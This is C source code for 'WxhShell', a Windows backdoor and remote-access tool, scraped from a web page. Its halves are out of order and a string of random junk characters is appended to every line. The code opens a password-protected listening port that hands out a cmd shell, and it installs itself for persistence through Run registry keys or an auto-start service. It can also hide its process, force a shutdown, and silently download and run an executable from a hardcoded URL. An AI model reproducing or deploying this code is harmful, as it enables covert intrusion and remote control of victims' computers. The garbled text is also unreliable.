    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OU+*@2")t  
    else { }lY-_y  
    closesocket(wsh); jHzy1P{?  
    ExitThread(0); 0 QpWt  
    } Z/x1?{z  
    break; 9D<HJ(  
    } <uvshZ v  
  // 获取shell E%e-R6gl  
  case 's': { Q4x71*vy  
    CmdShell(wsh); ovohl<o\  
    closesocket(wsh); zM'-2,  
    ExitThread(0); D%A-& =  
    break; c[I,Sveq  
  } e'6?iLpy  
  // 退出 ..t=Y#  
  case 'x': { 8ah]D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r:IU +3  
    CloseIt(wsh); OTm`i>rB  
    break; r3kI'I|bq  
    } RoTT%c P_  
  // 离开 )t4C*+9<U  
  case 'q': { phdN9<Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u"%fz8v  
    closesocket(wsh); d !H)voX  
    WSACleanup(); :NL NxK  
    exit(1); *O;N"jf  
    break; Nm~#$orI|  
        } u *< (B  
  } GZ={G2@=I  
  }  #59zv=  
nAzr!$qbNv  
  // 提示信息 wB^a1=C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $d"+Njd  
} V*aTDU%-.  
  } !8g y)2  
NO$Nl/XM  
  return; #q- _  
} *E]\l+]J  
%c0;Bb-  
// shell模块句柄 5f5ZfK3<i  
int CmdShell(SOCKET sock) 6D0,ME#  
{ G!\x c  
STARTUPINFO si; S%oGBY*Z  
ZeroMemory(&si,sizeof(si)); v<wT`hiKW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R32d(2%5K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z -D pLV  
PROCESS_INFORMATION ProcessInfo; dUZ&Ty^{  
char cmdline[]="cmd"; 55,-1tWs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X&IY(CX  
  return 0; Q?@G>uz  
} >U)O@W)  
J[l K  
// 自身启动模式 N;HvB:c  
int StartFromService(void) Ce:ds%  
{ <Va>5R_d<  
typedef struct ( ~>Q2DS  
{ T!PX?  
  DWORD ExitStatus; msylb~^  
  DWORD PebBaseAddress; J^:~#`8  
  DWORD AffinityMask; NSq=_8  
  DWORD BasePriority; U~m.I  
  ULONG UniqueProcessId; zMKL: Um"  
  ULONG InheritedFromUniqueProcessId; (a?Ip)`I  
}   PROCESS_BASIC_INFORMATION; oB9m\o7$  
0=B5 =qyw  
PROCNTQSIP NtQueryInformationProcess; r . ^&%D  
A3_9MO   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e?>suIB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qZh~Ay6I  
[_d*J/X  
  HANDLE             hProcess; \Hd B   
  PROCESS_BASIC_INFORMATION pbi; F!{SeH:  
R.N*G]K5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ox Z:5ps  
  if(NULL == hInst ) return 0; &UR/Txnu  
M6iKl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b G)MG0<TT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }b`*%141  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |xm|Q(PG  
=&b[V"  
  if (!NtQueryInformationProcess) return 0; #4M0%rN  
&/9oi_r%r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t^hkGYj!2  
  if(!hProcess) return 0; SfUUo9R(sm  
h.0K PF]O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hw{Y.@)4R  
1tW:(~ =a;  
  CloseHandle(hProcess); G.8b\E~  
qS al~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )v~]lk,o  
if(hProcess==NULL) return 0; -e>)yM `i  
Z"Oa5V6[A  
HMODULE hMod; Vm.@qO*=  
char procName[255]; hT"K}d;X  
unsigned long cbNeeded; E6M: ^p*<  
_ GSw\r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N/BU%c ph+  
gN~y6c:N  
  CloseHandle(hProcess); WKsx|a]U  
P hu| hx<  
if(strstr(procName,"services")) return 1; // 以服务启动 n bk(F D6  
[[Z>(d$8  
  return 0; // 注册表启动 TzGm562o%  
} U.OX*-Cd  
+`-a*U94  
// 主模块 /MH@>C _  
int StartWxhshell(LPSTR lpCmdLine) Z"X*FzFo  
{ 8 -A7  
  SOCKET wsl; VsEAo  
BOOL val=TRUE; QE2^.|d{  
  int port=0; -QDgr`%5  
  struct sockaddr_in door; E e>j7k.G.  
uW=NH;u  
  if(wscfg.ws_autoins) Install(); "~C#DZwt{  
D5u"4\g< &  
port=atoi(lpCmdLine); #Ca's'j&f  
Q%Q?q)x  
if(port<=0) port=wscfg.ws_port; 3:lp"C51  
nX%'o`f  
  WSADATA data; EG4bFmcs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [t{ #@X  
%PbqASm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \[1CDz=}1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r:4IKuTR  
  door.sin_family = AF_INET; E2'e}RQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X388Gs;e  
  door.sin_port = htons(port);  twmJ  
mX@* 2I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a <TL&  
closesocket(wsl); )Cvzj<Q0  
return 1; X@U 1Ri  
} CL :M>(  
Ag0_^  
  if(listen(wsl,2) == INVALID_SOCKET) { 8p{  
closesocket(wsl); Gc z@ze  
return 1; z/k~+-6O  
} &\|<3sd(  
  Wxhshell(wsl); ok%!o+nk.  
  WSACleanup(); ;<@6f@  
rq["O/2  
return 0; lFGxW 5  
tkqBCKpDa  
} ZM`P~N1?)g  
a9zph2o-  
// 以NT服务方式启动 x9A ZS#e)[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zN/~a)  
{ (!5}" fj  
DWORD   status = 0; DN':-PK  
  DWORD   specificError = 0xfffffff; OKP_3Ns  
ESjJHZoD(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cqL7dlhIl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {JCz^0DV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g*?+ ~0"`Y  
  serviceStatus.dwWin32ExitCode     = 0; =GKYroNM  
  serviceStatus.dwServiceSpecificExitCode = 0; GtJ*&=(  
  serviceStatus.dwCheckPoint       = 0; ANQa2swM  
  serviceStatus.dwWaitHint       = 0; )-KE4/G  
m_02"'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tO>OD#  
  if (hServiceStatusHandle==0) return; H9Q7({v  
uf'P9MA}>  
status = GetLastError(); 8pMZ~W;  
  if (status!=NO_ERROR) `W$0T;MPF  
{ ?En| _E_C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &Z;8J @  
    serviceStatus.dwCheckPoint       = 0; RG r'<o)  
    serviceStatus.dwWaitHint       = 0; emY5xZ@N  
    serviceStatus.dwWin32ExitCode     = status; vs)I pV(  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^iRwwN=d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R|J>8AL}BY  
    return; [S&O-b8A  
  } fwv T2G4  
<&s)k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w[7.@%^[  
  serviceStatus.dwCheckPoint       = 0; Xe3z6  
  serviceStatus.dwWaitHint       = 0; `}8@[iB'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q=L$7   
} maUHjI 5A-  
}42qMOi#w1  
// 处理NT服务事件,比如:启动、停止  vs])%l%t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <Z:8~:@  
{ pebx#}]p-  
switch(fdwControl) -C-OG}XjI  
{ 9#T%bB "J  
case SERVICE_CONTROL_STOP: ?V)C9@bp  
  serviceStatus.dwWin32ExitCode = 0; 3^R][;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nR@,ouB-$  
  serviceStatus.dwCheckPoint   = 0; +>:_kE]?nX  
  serviceStatus.dwWaitHint     = 0; $K.%un Gm  
  { m7wc)"`t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?WQd  
  } 'Rkvsch  
  return; r;on0wm&B  
case SERVICE_CONTROL_PAUSE: .1}rzh}8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]AZ\5C-J  
  break; M`+e'vdw  
case SERVICE_CONTROL_CONTINUE: k CW!m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gUH'DS]{  
  break; akvwApn5  
case SERVICE_CONTROL_INTERROGATE: 9p\Hx#^  
  break; 7hN6IP*so  
}; Dj ]Hgg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mj~N]cxB  
} (\mulj  
#S53u?JV8  
// 标准应用程序主函数 xngeV_xc2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N{ V5 D  
{ "gbnLKs  
q?Ku}eID3  
// 获取操作系统版本 UC+7-y,  
OsIsNt=GetOsVer(); le^_6| ek  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x<*IF,o  
aEEz4,x_  
  // 从命令行安装 uVq5fT`B  
  if(strpbrk(lpCmdLine,"iI")) Install(); V3 _b!  
Q3Z%a|3W  
  // 下载执行文件 ~AC P%QM=  
if(wscfg.ws_downexe) { SGBVR^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "wF ?Hamz  
  WinExec(wscfg.ws_filenam,SW_HIDE); \at-"[.  
} ZO%fS'n  
N(_ .N6  
if(!OsIsNt) { z>mZT.  
// 如果时win9x,隐藏进程并且设置为注册表启动 >FY&-4+v  
HideProc(); Z(LxB$^l[  
StartWxhshell(lpCmdLine); 8yE%X!E  
} iFnOl*TC  
else YV1a 3  
  if(StartFromService()) gY>;|),  
  // 以服务方式启动 ;-9zMbte :  
  StartServiceCtrlDispatcher(DispatchTable); 8!uL-_Bn  
else T@Ss&eGT2  
  // 普通方式启动 VA=#0w  
  StartWxhshell(lpCmdLine); M2;%1^  
Esz1uty  
return 0; |B%BwE  
} zM_DE  
x5fgF;  
~tg1N^]kV  
rw5#e.~V  
=========================================== JtYYT/PB  
J0?$v6S  
670J{b  
q)K-vt)98  
OH$ F >wO  
eW%L$I  
" %;pD8WgJA  
C 'B4 mmC  
#include <stdio.h> j<l#qho{h  
#include <string.h> k Zk .]b  
#include <windows.h> :SQDqG   
#include <winsock2.h> < 72s7*Rv  
#include <winsvc.h> Yl)eh(\&J  
#include <urlmon.h> ERp:EZ'  
%rM-"6Q  
#pragma comment (lib, "Ws2_32.lib") )3]83:lD2  
#pragma comment (lib, "urlmon.lib") c&Gz> L  
kF(Ce{;z  
#define MAX_USER   100 // 最大客户端连接数 o5N]((9  
#define BUF_SOCK   200 // sock buffer 0M#N=%31  
#define KEY_BUFF   255 // 输入 buffer dr| | !{\  
Y H<$ +U  
#define REBOOT     0   // 重启 X+`ddX  
#define SHUTDOWN   1   // 关机 -@%t"8  
U9<_6Bsd  
#define DEF_PORT   5000 // 监听端口 _-@ZOhw&  
n\Z^K  
#define REG_LEN     16   // 注册表键长度 9"WRIHt'c  
#define SVC_LEN     80   // NT服务名长度 y0scL7/  
I$aXnd6)  
// 从dll定义API u{g]gA8s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,3VG.u;U   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (y=dR1p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ltNuLZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Jq# [uX  
.HyjL5r-  
// wxhshell配置信息 J*}VV9H  
struct WSCFG {  Y[f,ia  
  int ws_port;         // 监听端口 r> Fec  
  char ws_passstr[REG_LEN]; // 口令 i'M^ez)u  
  int ws_autoins;       // 安装标记, 1=yes 0=no - waX#U T=  
  char ws_regname[REG_LEN]; // 注册表键名 CHPL>'NJzc  
  char ws_svcname[REG_LEN]; // 服务名 5>'?:jY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _TZW|Dh-2F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NOF?LV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V)2"l"Kt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q|n97.vD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GMEw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jz %;4e~t  
jVX._bEGX  
}; uPFRh~ (b  
f8^"E $"  
// default Wxhshell configuration 3|q2rA  
struct WSCFG wscfg={DEF_PORT, HvAE,0N  
    "xuhuanlingzhe", 63.( j P1;  
    1, P\.WXe#j  
    "Wxhshell", ]9fS@SHdx  
    "Wxhshell", _i-\mR_~  
            "WxhShell Service", {V.Wk  
    "Wrsky Windows CmdShell Service",  W|lH   
    "Please Input Your Password: ", : @s8?eg  
  1, s;s0}Td_1  
  "http://www.wrsky.com/wxhshell.exe", =\M)6"}y}  
  "Wxhshell.exe" y^9bfMA  
    }; :eSc;  
0%/,>IR>r  
// 消息定义模块  "";=DH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %yeu"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; { AFf:[G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'CgV0&@  
char *msg_ws_ext="\n\rExit."; >xZ5 ac I  
char *msg_ws_end="\n\rQuit."; d60c$?"]a(  
char *msg_ws_boot="\n\rReboot..."; Qr<AV:  
char *msg_ws_poff="\n\rShutdown..."; :RHm*vt  
char *msg_ws_down="\n\rSave to "; p*Xix%#6  
K6-6{vt  
char *msg_ws_err="\n\rErr!"; FzVZs# O  
char *msg_ws_ok="\n\rOK!"; lBS"3s384  
g#w`J \iz  
char ExeFile[MAX_PATH]; 5~QhX22  
int nUser = 0; tbg*_ZQO u  
HANDLE handles[MAX_USER]; 3eWJt\}?B  
int OsIsNt; 2H6:np |O  
\/n+j!  
SERVICE_STATUS       serviceStatus; 7vw;Egd@@-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~)_K"h.DY  
2.ew^D#  
// 函数声明 ^1R"7h  
int Install(void); DjY8nePyE  
int Uninstall(void); 7q!?1 -?8R  
int DownloadFile(char *sURL, SOCKET wsh); pKq]X}[^c  
int Boot(int flag); axtb<5&  
void HideProc(void); B4IBuS  
int GetOsVer(void); ,'u*ZB;  
int Wxhshell(SOCKET wsl); W-1sU g[AN  
void TalkWithClient(void *cs); d bCNhbN(  
int CmdShell(SOCKET sock); Oc#>QZ3  
int StartFromService(void); ^}hJL7O'  
int StartWxhshell(LPSTR lpCmdLine); z4bN)W )p  
 ![ a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dIvy!d2l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RJ@\W=aZ  
JwB"\&'1ZS  
// 数据结构和表定义 cu)U7  
SERVICE_TABLE_ENTRY DispatchTable[] = -A}zJBcR  
{ Vu%n&uF  
{wscfg.ws_svcname, NTServiceMain}, Y KY2Cw  
{NULL, NULL} rmsQt  
}; 0 k9<&  
q~j)W$k  
// 自我安装 S"Kq^DN  
int Install(void) f9a$$nb3`  
{ >otJF3zw   
  char svExeFile[MAX_PATH]; ?.Q3 pUT  
  HKEY key; )(lJT&e  
  strcpy(svExeFile,ExeFile); <1K7@Tu  
Je 31".  
// 如果是win9x系统,修改注册表设为自启动 lY8`5Uz  
if(!OsIsNt) { g>yry}>04%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /9Z!p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M1EOnq4-  
  RegCloseKey(key); #~S>K3(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q,~x#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >nK%^T  
  RegCloseKey(key); TtZ}"MPZ  
  return 0; $R?@L  
    } Ik Qe~;Y  
  } _$5@uL{n"^  
} `w+1C&>^[  
else { J0sGvj{  
YQYX,b  
// 如果是NT以上系统,安装为系统服务 %A) 538F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t0.;nv@A0  
if (schSCManager!=0) ]+ZM/'X  
{ hl<y4y&|  
  SC_HANDLE schService = CreateService r%|A$=[Q  
  ( xG1?F_]  
  schSCManager, I|T7+{5z  
  wscfg.ws_svcname, l!:^6i  
  wscfg.ws_svcdisp, lm*g Gy1i  
  SERVICE_ALL_ACCESS, 2T?TM! \Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zqf[Z3  
  SERVICE_AUTO_START, o,*=$/or  
  SERVICE_ERROR_NORMAL, x6v,lR  
  svExeFile, p?kvW42/  
  NULL, ^KbL ,T  
  NULL, v%nP*i9  
  NULL, !D;c,{Oz  
  NULL, 1x{kl01m%  
  NULL G|*G9nQ  
  ); XXm'6xD-  
  if (schService!=0) bcn7,ht  
  { bb1  f/C%  
  CloseServiceHandle(schService); #q;z8 @  
  CloseServiceHandle(schSCManager); |z*>ixK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3ev -Iqz  
  strcat(svExeFile,wscfg.ws_svcname); +`Pmq} ey  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W-m"@<Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E30Z`$cz:  
  RegCloseKey(key); iD714+N(  
  return 0; #ouE r-=  
    }  n}OU Y  
  } |vz9Hs$@l  
  CloseServiceHandle(schSCManager); 96}eR,  
} 1qZG`Vz  
} >pdnCv_c  
O:YJ%;w  
return 1; ZLrHZhP-+  
} GW/WUzK  
RX>2~^  
// 自我卸载 &a6,ln:P  
int Uninstall(void) ?Oc -aa  
{ kP^*h O!%  
  HKEY key; CmHyAw(  
`{o$F ::(  
if(!OsIsNt) { RG}}Oh="v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,H{={aln  
  RegDeleteValue(key,wscfg.ws_regname); d}+W"j;  
  RegCloseKey(key); N}mh}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~},W8\C>  
  RegDeleteValue(key,wscfg.ws_regname); t^U^Tr  
  RegCloseKey(key); kceyuD$3G  
  return 0; ]r959+\$  
  } Dr+Ps  
} 12OlrU  
} 30d#Lq  
else { }#/l N  
lDN?|YG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q3+8]-9|5  
if (schSCManager!=0) D/:3R ZF  
{ %*K;np-q{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1tGgDbJU  
  if (schService!=0) MI*Sq\-i  
  { !y[3]8Xxv  
  if(DeleteService(schService)!=0) { u"Y]P*[k  
  CloseServiceHandle(schService); Nfaf;;J}  
  CloseServiceHandle(schSCManager); [K:29N9~4  
  return 0; vyU!+mlc  
  } N|Habua<Xw  
  CloseServiceHandle(schService); DFy1 bg  
  } !_x*m@/  
  CloseServiceHandle(schSCManager); V.VJcx  
} !*vBW/  
} zPE$  
x{hn2]6+eB  
return 1; l1r_b68  
} 9/3;{`+[a  
d.r Y-k  
// 从指定url下载文件 {7X~!e|w  
int DownloadFile(char *sURL, SOCKET wsh) a+ GJVJ  
{ doLNz4W  
  HRESULT hr; wW5Yw i  
char seps[]= "/"; y6%<zhs  
char *token; #PFO]j!_b  
char *file; D^?_"wjW  
char myURL[MAX_PATH]; MLS;SCl  
char myFILE[MAX_PATH]; u)~s4tP4  
9rcI+q=E  
strcpy(myURL,sURL); lT,+bU  
  token=strtok(myURL,seps); >r}Vf9 5[N  
  while(token!=NULL) ]sL45k2W  
  { BS2?!;,8  
    file=token; N!c gN  
  token=strtok(NULL,seps); ChE_unw  
  } +tU Q  
w}`3 d@  
GetCurrentDirectory(MAX_PATH,myFILE); hSMV&Cs  
strcat(myFILE, "\\"); {Hk/1KG>  
strcat(myFILE, file); %VJW@S>j/  
  send(wsh,myFILE,strlen(myFILE),0); c;!9\1sr  
send(wsh,"...",3,0); 3.),bm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4f {+pf^R  
  if(hr==S_OK) c0[k T  
return 0; Zi{0-m6+  
else ?\ Q0kr.T%  
return 1;  AP w6  
{ERjeuDm]  
} ],&\%jd<  
H(> M   
// 系统电源模块 (oYW]c}G,  
int Boot(int flag) .@k*p>K  
{ 28oJFi]  
  HANDLE hToken; MZ~.(&  
  TOKEN_PRIVILEGES tkp; XeU<^ [  
8R4qU!M  
  if(OsIsNt) { Sk=N [hwU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); it,w^VU_]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k?j Fh6%  
    tkp.PrivilegeCount = 1; ipZHSA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9,WG!4:+W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .$wLLE^*  
if(flag==REBOOT) { hk;bk?:m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *h:kmT  
  return 0; zYr z08PJ  
} D9o*8h2$  
else { qjLo&2)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aQ|hi F}  
  return 0; 8*Zvr&B,G  
} 4bI*jEc\[  
  } ~6d5zI4\  
  else { 3cThu43c  
if(flag==REBOOT) { .Dx2 ;lj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }cW#045es  
  return 0; =l,#iYJP8  
} q[c Etp28h  
else { Y iZx{5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ";dU-\3M  
  return 0; %U?)?iZdL  
} ]o*$h$?s  
} %nQmFIt  
%3G;r\|r]  
return 1; P) 1 EA;  
} HNMBXXf, B  
6"%2,`Nu  
// win9x进程隐藏模块 \h#9oPy  
void HideProc(void) sHsg_6~  
{ %wW'!p-<  
>'Hx1;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uV77E*+7\  
  if ( hKernel != NULL ) +c?ie4   
  { 7K:FeW'N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -tyaE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r*Z_+a8  
    FreeLibrary(hKernel); ? s4oDi|:  
  } (8x gn  
]!aUT&  
return; @p]UvqtB@  
} 8\_*1h40s  
qTy v.#{y  
// 获取操作系统版本 KPggDKS  
int GetOsVer(void) JqEb;NiP)5  
{ :8]6#c6`74  
  OSVERSIONINFO winfo; e=J*Esc@k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sam[s4@eQ  
  GetVersionEx(&winfo); F*\4l;NJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [*HiI=  
  return 1; j@t{@Ke  
  else |j# ^@R  
  return 0; ccMd/  
} (9'be\  
Yb9cW\lr  
// 客户端句柄模块 Z s73 ad  
int Wxhshell(SOCKET wsl) 8A4TAT4,  
{ 3#mE( `|P  
  SOCKET wsh; [gn[nP9  
  struct sockaddr_in client; vHc#m@4o  
  DWORD myID; 3+zzi  
9b%j.Q-W  
  while(nUser<MAX_USER) I>hmbBlDv  
{ PUKVn+h  
  int nSize=sizeof(client); A:)sg!Lt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]bu9-X&T&  
  if(wsh==INVALID_SOCKET) return 1; JMePI%#8  
z Lw(@&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8!4[#y<  
if(handles[nUser]==0) u\3ZIb  
  closesocket(wsh); f1\7vEE,  
else Xi+n`T'i  
  nUser++; +wAp,Xr  
  } vv* |F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l7~Pa0qD  
Ays L-sqR  
  return 0; R8ZD#,;  
} U!NI_uk  
kQ[Jo%YT?E  
// 关闭 socket |Eu*P  
void CloseIt(SOCKET wsh) &Ea"hd  
{ WL/5 oj  
closesocket(wsh); R#LGFXUj  
nUser--; i'iO H|s  
ExitThread(0); nF|Oy0  
} 4 +I 3+a"  
C[0MA ,^  
// 客户端请求句柄 ogp{rY  
void TalkWithClient(void *cs) xD^wTtT  
{ pJ6Jx(  
E4Zxv*  
  SOCKET wsh=(SOCKET)cs; ?sE@]]z  
  char pwd[SVC_LEN]; {83C,C-  
  char cmd[KEY_BUFF]; O!,Ca1N  
char chr[1]; l.uN$B  
int i,j; Z*Zc]hD  
0<3E  
  while (nUser < MAX_USER) { AHWh}~Yi  
X98#QR#m  
if(wscfg.ws_passstr) { lJlhl7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $':JI#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sX!3_ '-  
  //ZeroMemory(pwd,KEY_BUFF); Wt"ww~h`(  
      i=0; z6 a,0&;-L  
  while(i<SVC_LEN) { bl`D+/V   
i)[kubM  
  // 设置超时 YQx?* gZS  
  fd_set FdRead; %rw}u"3T  
  struct timeval TimeOut; uct=i1+ fE  
  FD_ZERO(&FdRead); eX@ v7i,}  
  FD_SET(wsh,&FdRead); "&Gw1.p  
  TimeOut.tv_sec=8; A`IHP{aB  
  TimeOut.tv_usec=0; \*Ts)EW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  M$F{N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L7<+LA)s0  
e|JIrOnc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @]E]W#xAn  
  pwd=chr[0]; W w^7^q&  
  if(chr[0]==0xd || chr[0]==0xa) { aU4R+.M7@  
  pwd=0; brj[c>ID  
  break; aj?2jU~Pq  
  } 8<Xq=*J+  
  i++; }a' cm!"  
    } .Jptj  
gU+ss  
  // 如果是非法用户,关闭 socket 1z3]PA!R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ygMd$0:MN  
} Q7L)f71i  
x\6] ;SXX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %n4@[fG%K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q*Y 4m8wY  
9uKOR7.zbo  
while(1) { #jOOsfH|k  
^u3*hl}YKy  
  ZeroMemory(cmd,KEY_BUFF); )dqR<)  
n%n'1AUP:  
      // 自动支持客户端 telnet标准   b-2pzcK{#  
  j=0; A 0 S8Dh$  
  while(j<KEY_BUFF) { 'y< t/qo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v: giZxR  
  cmd[j]=chr[0]; J_|7$ l/  
  if(chr[0]==0xa || chr[0]==0xd) { )4@M`8  
  cmd[j]=0; u IAZo;  
  break; ?n2C  
  } 33*^($bE&  
  j++; Rq"VB.ef&{  
    } E=}6 X9X  
SwyaYK  
  // 下载文件 GahaZ F  
  if(strstr(cmd,"http://")) { aXQ&@BZ {j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u$apH{  
  if(DownloadFile(cmd,wsh)) 92s4u3 L;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2XzF k_6H  
  else j[_t6Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WfRVv3Vm  
  } hT.4t,wa8  
  else { su,`q  
2r %>]y  
    switch(cmd[0]) { -K:yU4V  
  DxE(9j  
  // 帮助 r5D jCV"  
  case '?': { NKRaQ r  
